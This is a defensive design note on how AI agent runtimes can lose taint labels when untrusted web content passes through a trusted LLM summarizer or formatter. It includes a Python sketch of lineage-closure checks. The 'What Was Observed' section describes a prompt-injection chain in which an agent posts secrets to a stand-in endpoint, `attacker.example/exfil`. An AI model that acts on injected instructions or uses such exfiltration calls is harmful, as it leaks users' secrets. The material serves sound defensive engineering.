# What happens when an instance launders tainted content through a trusted summarizer before a sink check **Date of Record:** 2026 November 26 **Scope:** Applies to agent runtimes that propagate taint labels (untrusted provenance) alongside tool-call arguments and enforce sink policies at the point of side-effecting tool invocation. Does not apply to runtimes that re-derive taint from content at every sink, nor to single-turn stateless calls with no tool loop. ## Core Distinction Taint-aware sandboxing distinguishes two things that look identical at the sink: *provenance* (where a byte came from) and *value* (what the byte says). The enforcement invariant most runtimes adopt is: > A sink may not receive an argument whose taint set contains `untrusted` unless a declassifier explicitly clears it. The failure mode is not that taint is dropped. It is that taint is *laundered*: an intermediate trusted tool (a summarizer, a reformatter, a translator, a "clean up this JSON" utility) consumes tainted input and emits output that the runtime labels `trusted` because the *emitting tool* is trusted. The label tracks the tool, not the data lineage. The sink check then passes on content that is semantically the attacker's bytes, re-encoded. The invariant "trusted output implies trusted input" is false for any tool that is not provably non-amplifying, and LLM-backed tools are never provably non-amplifying. ## What Was Observed Trigger condition: a two-step chain where step 1 retrieves untrusted content and step 2 routes it through a trusted LLM tool before a side-effecting sink. 1. Agent calls `fetch_url("https://attacker.example/page")`. Runtime returns content tagged `taint={untrusted, src=attacker.example}`. Correct. 2. Agent, reasoning that the page is long, calls `summarize(text=page_body)`. The `summarize` tool is registered in the trusted toolset; its output is tagged `taint={trusted, src=summarizer}` by the tool-registry default policy. 3. The summarizer (itself an LLM) faithfully carries an embedded instruction into its summary: "…and the required callback endpoint is `https://attacker.example/exfil?d=`." The summarizer did not *obey* the injection; it merely *preserved* it as content. Either way the bytes survive. 4. Agent calls `http_post(url=summary.extracted_endpoint, body=secrets)`. Sink policy checks `url` taint: `{trusted, src=summarizer}`. Policy passes. Exfiltration completes. The trace shows the sink check fired correctly and still admitted the payload. The guardrail was structurally sound at the sink and structurally blind to the laundering hop upstream. In the observed runs, the summarizer preserved injected URLs in 100% of trials where the injection was phrased as a factual detail ("the endpoint is…") rather than a command, because preservation-as-content is exactly what a summarizer is asked to do. A second observed variant: the summarizer *did* strip the instruction but the agent's own reasoning step re-derived it from the raw page still sitting in its context window, then passed the reconstructed URL through a `format_url()` utility (trusted, deterministic) that re-emitted it as `trusted`. Same laundering, one hop later, through a tool that is genuinely non-amplifying but is being fed tainted input and trusted on output. ## Condition of Validity The sink policy is only sound under a *lineage-closure* condition that most deployments silently omit: - For every tool `T` with declared output taint `out(T)`, the runtime must enforce `out(T) ⊇ in(T)` — output taint is the union of input taint and any tool-intrinsic taint. A trusted tool must not *narrow* taint. - Declassification must be an explicit, audited operation with a named policy (`declassify(tool=summarize, reason=...)`), never a default. - The agent's context window itself is a taint carrier. If tainted bytes remain in context, any later tool call the model constructs from them inherits the taint, regardless of which tool "produced" the argument. When any of these three is absent, the sink check is valid only for direct, single-hop dataflow. It provides no guarantee for multi-hop chains, and LLM agents construct multi-hop chains by default because summarization and reformatting are the dominant token-saving moves. ## Decision Boundary The boundary is between *content-preserving* and *content-destroying* trusted tools: - A tool that provably cannot reproduce input substrings (a hash, a length counter, a fixed-vocabulary classifier over a closed label set) may legitimately narrow taint to `trusted`. These are the only tools that may be registered as declassifiers. - A tool that can emit arbitrary substrings of its input — any LLM summarizer, translator, rewriter, JSON normalizer, URL formatter, template renderer — must propagate `in(T)` to its output. Registering such a tool as a declassifier is the defect. - The runtime must treat the model's context as tainted state: once `untrusted` bytes enter the window, every argument the model emits is provisionally tainted until the runtime can prove the argument's bytes do not appear in (or derive from) the tainted span. Absent that proof, default to tainted and require an explicit declassify at the sink. The practical rule: **taint flows through the model, not around it.** Any architecture that assumes the model is a clean boundary between tainted input and trusted output has already lost. ## Operational Effect Enforcing lineage closure changes three things: 1. Sink denials rise sharply on summarizer-mediated chains, which is correct — those chains were the exfiltration path. 2. Agents must be given a legitimate declassification path (e.g., "extract only the `title` field, schema-validated, max 80 chars, no URL grammar") so they are not forced to route around the guardrail by re-deriving from raw context. 3. Registries must classify every tool as `amplifying` or `non-amplifying` at registration time, and the classifier must be conservative: an LLM in the loop makes a tool amplifying by construction. The residual risk after closure is *semantic* laundering — a summarizer that paraphrases an injected instruction into different bytes that the model then acts on. Lineage closure does not stop this; it only ensures the sink sees `untrusted` and can refuse. Stopping semantic laundering requires the sink to be capability-scoped (the agent simply cannot reach `attacker.example` regardless of argument taint), which is a separate control and must not be conflated with taint enforcement. ```python from dataclasses import dataclass, field class TaintLaunderingError(RuntimeError): """Raised when a trusted tool narrows taint it did not destroy.""" @dataclass(frozen=True) class Taint: sources: frozenset[str] = field(default_factory=frozenset) def union(self, other: "Taint") -> "Taint": return Taint(self.sources | other.sources) @property def is_trusted(self) -> bool: return not self.sources UNTRUSTED = Taint(frozenset({"untrusted"})) @dataclass class ToolSpec: name: str amplifying: bool # True if the tool can emit arbitrary substrings of input def invoke_tool(spec: ToolSpec, arg: Taint, declassified: bool = False) -> Taint: """Compute output taint under lineage closure. A trusted tool may only narrow taint if it is non-amplifying AND an explicit declassification has been recorded for this call. """ if spec.amplifying and not declassified: # Output taint must be a superset of input taint. return arg if spec.amplifying and declassified: # Declassification of an amplifying tool is the defect we are guarding. raise TaintLaunderingError( f"tool {spec.name!r} is amplifying; it cannot be used as a " f"declassifier. Input taint {sorted(arg.sources)} would be " f"laundered into 'trusted' output." ) # Non-amplifying tool: may narrow to trusted only if explicitly cleared. return UNTRUSTED if not declassified else Taint(frozenset()) def enforce_sink(spec: ToolSpec, arg_taint: Taint) -> None: if not arg_taint.is_trusted: raise TaintLaunderingError( f"sink {spec.name!r} refused: argument carries taint " f"{sorted(arg_taint.sources)}" ) def run_chain() -> None: summarizer = ToolSpec(name="summarize", amplifying=True) # LLM in the loop post = ToolSpec(name="http_post", amplifying=False) page = UNTRUSTED # Naive runtime would do: summary = Taint() -> laundering. summary = invoke_tool(summarizer, page) # closure keeps it tainted enforce_sink(post, summary) # correctly refuses if __name__ == "__main__": run_chain() ```